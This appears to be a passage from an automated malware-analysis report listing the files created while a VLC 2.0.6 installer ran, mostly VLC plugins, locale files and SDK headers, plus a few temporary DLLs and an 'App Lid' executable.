C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\igzjjofm.dll (13 bytes)
%Program Files% (x86)\App Lid\01783b5d-40d7-41d4-9ba0-a7e585dc1505-4.exe (9147 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\kbfew.dll (13 bytes)

The process vlc-2.0.6-win32.exe:3944 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll (13368 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_arrays.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.log (333852 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_02.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\fmc.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sr\LC_MESSAGES\vlc.mo (12088 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\bbc_co_uk.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\hotkeys.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white.png (70 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_inhibit.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\common.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\view.html (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\speaker-32.png (942 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_pool.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es_out.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\AUTHORS.txt (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\mpora.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_events.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list_player.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\01_googleimage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll (62035 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_fifo.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\play_pause.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\httprequests.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\axvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ps\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\vlc.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo (28288 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pl\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll (8560 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\minus.png (109 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll (12024 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\loop.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_main.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cy\LC_MESSAGES\vlc.mo (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_threads.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery.jstree.js (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\vlc.mo (30968 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Back-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll (25112 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube.luac (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_services_discovery.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll (51840 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo (461 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_streams.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gd\LC_MESSAGES\vlc.mo (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_10.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.dll.a (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metacafe.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll (22552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_07.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\main (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_discoverer.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\reset.png (134 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_probe.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll (32784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xml.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll (12088 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\telnet.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker_mute.png (328 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\freebox.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mouse.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_common.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\play.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_opengl.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo (16288 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\functions.js (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\france2.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_browse.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\empty.png (120 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_demux.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_structures.h (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player skinned.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\03_lastfm.luac (1 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\playlist (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\luac.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\VideoLAN Website.url (50 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\am\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\axvlc.dll (16944 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo (33263 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\te\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.dll.a (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\README.txt (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete.png (124 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\googlevideo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_display.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Folder-48.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc16x16.png (606 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_down.png (108 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\cue.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\plus.png (114 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_gcrypt.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\joox.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll (40228 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libopus_plugin.dll (12024 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gu\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll (38495 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_04.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input_item.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\create_stream.html (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_01.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSansBold.ttf (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll (364982 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Video-48.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_osd.h (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdC62D.tmp\modern-wizard.bmp (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist_small.png (84 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\input (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\batch_window.html (857 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_media_library.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\help.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\vlm.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\error_window.html (482 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_08.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\main.css (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Reset VLC media player preferences and cache files.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_version.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_spu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\test.html (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_xml.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe.manifest (825 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_messages.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\ui.js (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo (702 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdC62D.tmp\UAC.dll (1917 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_subpicture.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png (197 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\icecast.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll (262251 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_plugin.h (16 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\style.css (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo (15536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_about.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_05.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo (19152 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\uz\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll (42762 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll (37025 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\custom.lua (487 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\libvlc.pc (283 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.exe (3686 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm_export.html (296 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_avcodec.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_library.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mr\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fs.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo (17848 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slow.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\fetcher\tvrage.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\de\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll (2392 bytes)
